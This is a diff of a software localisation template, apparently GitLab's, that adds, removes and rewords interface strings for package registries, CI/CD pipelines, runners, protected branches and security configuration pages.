-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
